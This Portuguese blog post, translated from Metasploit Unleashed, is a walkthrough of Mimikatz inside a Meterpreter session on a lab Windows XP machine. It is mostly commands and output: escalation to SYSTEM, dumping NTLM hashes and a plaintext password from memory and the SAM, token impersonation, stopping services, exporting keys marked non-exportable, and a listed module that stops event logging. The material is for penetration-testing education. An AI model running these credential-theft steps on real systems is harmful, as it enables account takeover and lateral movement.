Mimikatz

Publicado por Igor Matsunaga em

Resultado de imagem para mimikatz kali

Mimikatz é uma poderosa ferramenta de pós-exploração desenvolvida por Benjamim Delpy. Após a exploração inicial, o invasor pode querer manter a persistência no dispositivo ou na rede. Porem para isso é exigida um conjunto de ferramentas complementares. O Mimikatz é uma tentativa de agrupar algumas das tarefas mais úteis para os invasores.

Felizmente, o Metasploit decidiu incluir o Mimikatz como um Script meterpreter.

Nota: A versão do Mimikatz no metasploit é v1.0, no entanto, Benjamin Delpy já lançou o v2.0 como um pacote independente em seu site. Isso é relevante, pois muito da sintaxe mudou com a atualização para a v2.0.

Carregando o Mimikatz

Depois de conseguir um shell meterpreter, precisamos garantir que nossa sessão esteja sendo executado com privilégios de nível SYSTEM, para seu correto funcionamento.

 
meterpreter > getuid Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem ...got system (via technique 1).

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

O Mimikatz suporta arquiteturas de 32 ou 64 bits do Windows. Depois de atualizar nossos privilégios para SYSTEM, devemos usar o comando sysinfo, para verificar a arquitetura da maquina comprometida.  Isto será relevante em máquinas de 64 bits, pois podemos ter comprometido um processador de 32 bits em uma arquitetura de 64 bits. Se este for o caso, o medidor meterpreter tentará carregar uma versão de 32 bits do Mimikatz na memória, o que fará com que a maioria dos recursos não estejam funcionais. Isso pode ser evitado observando a lista de processos em execução e migrando para um processo de 64 bits antes de carregar o Mimikatz.

 
meterpreter > sysinfo
Computer : WINXP-E95CE571A1
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86 System Language : en_US
Meterpreter : x86/win32

Está é uma maquina de 32 bits, então podemos continuar carregando o módulo Mimikatz na memória.

  
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > help mimikatz
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commannd
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds

O Metasploit nos oferece alguns comandos embutidos que mostram os recursos mais comuns utilizados pelo Mimikatz, descarregando hashs e credenciais de texto puro diretamente da memória. No entanto, a opção mimikatz_command nos dá acesso total a todos os recursos do Mimikatz.

 
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02)

Embora um pouco não ortodoxo, podemos obter uma lista completa dos módulos disponíveis, tentando carregar um recurso inexistente.

  
meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvable
Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion système
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privilèges
handle - Manipulation des handles
impersonate - Manipulation tokens d'accès
winmine - Manipulation du démineur
minesweeper - Manipulation du démineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS

Para consultar as opções disponíveis para estes módulos, poderemos utilizar a seguinte sintaxe.

meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable
Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
secrets - Affiche les secrets utilisateur
logoNSW

Leitura de hashes e senhas da memória

Podemos usar os comandos Metasploit internos, bem como os comandos Mimikatz nativos para extrair hashes e credenciais de texto não criptografado da máquina comprometida.

Metasploit embutido:

meterpreter > msv 
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;56683 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials kerberos credentials ====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword

Mimikatz nativo:

meterpreter > mimikatz_command -f samdump::hashes 
Ordinateur : winxp-e95ce571a1
BootKey : 553d8c1349162121e2a5d3d0f571db7f
Rid : 500
User : Administrator
LM :
NTLM : d6eec67681a3be111b5605849505628f

Rid : 501
User : Guest
LM :
NTLM :

Rid : 1000
User : HelpAssistant
LM : 6165cd1a0ebc61e470475c82cd451e14
NTLM :

Rid : 1002
User : SUPPORT_388945a0
LM :
NTLM : 771ee1fce7225b28f8aec4a88aea9b6a
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

Outros módulos

Os outros módulos do Mimikatz possuem diversos recursos úteis. Uma lista de recursos mais completa pode ser encontrada no blog de Benjamin Delpy – http://blog.gentilkiwi.com/ . Abaixo estão vários exemplos de uso para entender a sintaxe empregada.

O módulo de identificador pode ser usado para listar / eliminar processos e representar tokens de usuário.

meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvable
Description du module : Manipulation des handles
list - Affiche les handles du système (pour le moment juste les processus et tokens)
processStop - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate - Essaye d'impersonaliser un token en utilisant d'autres handles
nullAcl - Positionne une ACL null sur des Handles
meterpreter > mimikatz_command -f handle::list
...snip...
760 lsass.exe -> 1004 Token NT AUTHORITY\NETWORK SERVICE
760 lsass.exe -> 1008 Process 704 winlogon.exe 760 lsass.exe -> 1052 Process 980 svchost.exe 760 lsass.exe -> 1072 Process 2664 fubar.exe 760 lsass.exe -> 1084 Token NT AUTHORITY\LOCAL SERVICE
760 lsass.exe -> 1096 Process 704 winlogon.exe 760 lsass.exe -> 1264 Process 1124 svchost.exe 760 lsass.exe -> 1272 Token NT AUTHORITY\ANONYMOUS LOGON
760 lsass.exe -> 1276 Process 1804 psia.exe 760 lsass.exe -> 1352 Process 480 jusched.exe 760 lsass.exe -> 1360 Process 2056 TPAutoConnSvc.exe
760 lsass.exe -> 1424 Token WINXP-E95CE571A1\Administrator
...snip...

O módulo de serviço permite listar, iniciar, interromper e remover serviços do Windows

meterpreter > mimikatz_command -f service:: 
Module : 'service' identifié, mais commande '' introuvable
Description du module : Manipulation des services
list - Liste les services et pilotes
start - Démarre un service ou pilote
stop - Arrête un service ou pilote
remove - Supprime un service ou pilote
mimikatz - Installe et/ou démarre le pilote mimikatz
meterpreter > mimikatz_command -f service::list
...snip...
WIN32_SHARE_PROCESS STOPPED RemoteRegistry Remote Registry KERNEL_DRIVER RUNNING RFCOMM Bluetooth Device (RFCOMM Protocol TDI) WIN32_OWN_PROCESS STOPPED RpcLocator Remote Procedure Call (RPC) Locator 980 WIN32_OWN_PROCESS RUNNING RpcSs Remote Procedure Call (RPC) WIN32_OWN_PROCESS STOPPED RSVP QoS RSVP 760 WIN32_SHARE_PROCESS RUNNING SamSs Security Accounts Manager WIN32_SHARE_PROCESS STOPPED SCardSvr Smart Card 1124 WIN32_SHARE_PROCESS RUNNING Schedule Task Scheduler KERNEL_DRIVER STOPPED Secdrv Secdrv 1124 INTERACTIVE_PROCESS WIN32_SHARE_PROCESS RUNNING seclogon Secondary Logon 1804 WIN32_OWN_PROCESS RUNNING Secunia PSI Agent Secunia PSI Agent 3460 WIN32_OWN_PROCESS RUNNING Secunia Update Agent Secunia Update Agent ...snip...

O módulo de criptografia permite listar e exportar quaisquer certificados e suas chaves privadas correspondentes que possam estar armazenadas na máquina comprometida. Isso é possível mesmo se eles estiverem marcados como não exportáveis.

 
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable
Description du module : Cryptographie et certificats
listProviders - Liste les providers installés)
listStores - Liste les magasins système
listCertificates - Liste les certificats
listKeys - Liste les conteneurs de clés
exportCertificates - Exporte les certificats
exportKeys - Exporte les clés
patchcng - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
patchcapi - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable
meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :
Gemplus GemSAFE Card CSP v1.0
Infineon SICRYPT Base Smart Card CSP
Microsoft Base Cryptographic Provider v1.0
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider Microsoft Base DSS Cryptographic Provider
Microsoft Base Smart Card Crypto Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Provider v1.0
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) Microsoft RSA SChannel Cryptographic Provider
Microsoft Strong Cryptographic Provider

Nunca perca no Campo Minado novamente!

O Mimikatz também inclui muitos novos recursos. Um dos nossos favoritos é um módulo que pode ler a localização das minas no jogo Windows Minesweeper, direto da memória!

Campo Minado mimikatz.png
meterpreter > mimikatz_command -f winmine :: infos
Minas: 99
Dimensão: 16 lignes x 30 colonnes
Champ: 

         . . . . . . * * 1 1 * 1 1 *. . . . . . * *
         . . * . . . . . 1 1 1 1 1 1 2. * * * * * .
         . * . . . . * 1 1 1 1 1 *. . . * . * . . .
         . . . . . * * * 2 1 1 2 *. . . * * . * . . . *
         . . * . * . . * 1 1 *. * . . . . . . * * . .
         . * * . . . . . . 2 1 1 1. * . . . * . * . . . . .
         . . . . . . . . . . . * . . . . * . . . . * * . . . .
         . . . * * . . . . * * . . . * . . . * . . . . .
         . . . . . * * * * * * * * * * . . . . . . . *
         * * * . . 3 1 2 1 2 1. . * . * . * . * . . . .
         . . . . * * * 1 1. . * * . . * . . . . . * *
         . . * * * 3 1 1 1 2 * 2 2 2. * . . . . . * . . .
         . . . . . * 1 1 1 2 *. 1 1 1. . . . * * * * . . .
         . . . . . . 1 1 *. . . 1 1 *. . . * . . . . * .
         . . . . . . 1 1 2. . . * 1 1 1 1 1 * *. * . . . *
         . * . . . . * . . * 1 1. * . . . . . . *

Que a segurança esteja com você!!

Fonte: https://www.offensive-security.com/metasploit-unleashed/mimikatz/


Igor Matsunaga

Diretor Técnico da NSWorld, entusiasta da área hacking a mais de 6 anos, hacker ético, formado em Segurança da Informação.

0 comentário

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *